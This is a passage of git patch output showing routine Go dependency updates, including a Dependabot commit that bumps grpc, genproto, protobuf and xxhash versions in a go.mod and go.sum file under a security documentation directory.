h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= @@ -1056,52 +564,15 @@ google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= -google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= -google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= -google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= -google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= -google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= +google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= @@ -1117,21 +588,8 @@ google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTp google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= -google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= +google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= +google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -1144,36 +602,24 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= -google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= -gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= -gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= -gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= @@ -1186,4 +632,3 @@ honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From 26534c30dd21e4705b715c2d78ece675fa976c10 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 6 Jul 2023 03:20:11 +0000 Subject: [PATCH 0683/1062] chore(deps): bump google.golang.org/grpc Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.46.2 to 1.53.0. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.46.2...v1.53.0) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: indirect ... Signed-off-by: dependabot[bot] --- .../security/vulnerabilities/linear-fake/go/go.mod | 8 ++++---- .../security/vulnerabilities/linear-fake/go/go.sum | 14 +++++++++----- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/go/go.mod b/docs/security/vulnerabilities/linear-fake/go/go.mod index 1eb376ae42..665ae690e3 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.mod +++ b/docs/security/vulnerabilities/linear-fake/go/go.mod @@ -9,7 +9,7 @@ require ( github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/fsnotify/fsnotify v1.5.4 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect @@ -41,9 +41,9 @@ require ( golang.org/x/sys v0.5.0 // indirect golang.org/x/term v0.5.0 // indirect golang.org/x/text v0.7.0 // indirect - google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect - google.golang.org/grpc v1.46.2 // indirect - google.golang.org/protobuf v1.28.0 // indirect + google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect + google.golang.org/grpc v1.53.0 // indirect + google.golang.org/protobuf v1.28.1 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/go/go.sum b/docs/security/vulnerabilities/linear-fake/go/go.sum index cfde079164..e00420bbec 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.sum +++ b/docs/security/vulnerabilities/linear-fake/go/go.sum @@ -98,8 +98,9 @@ github.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInq github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= @@ -240,8 +241,8 @@ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -1119,8 +1120,9 @@ google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1151,8 +1153,9 @@ google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9K google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= @@ -1167,8 +1170,9 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 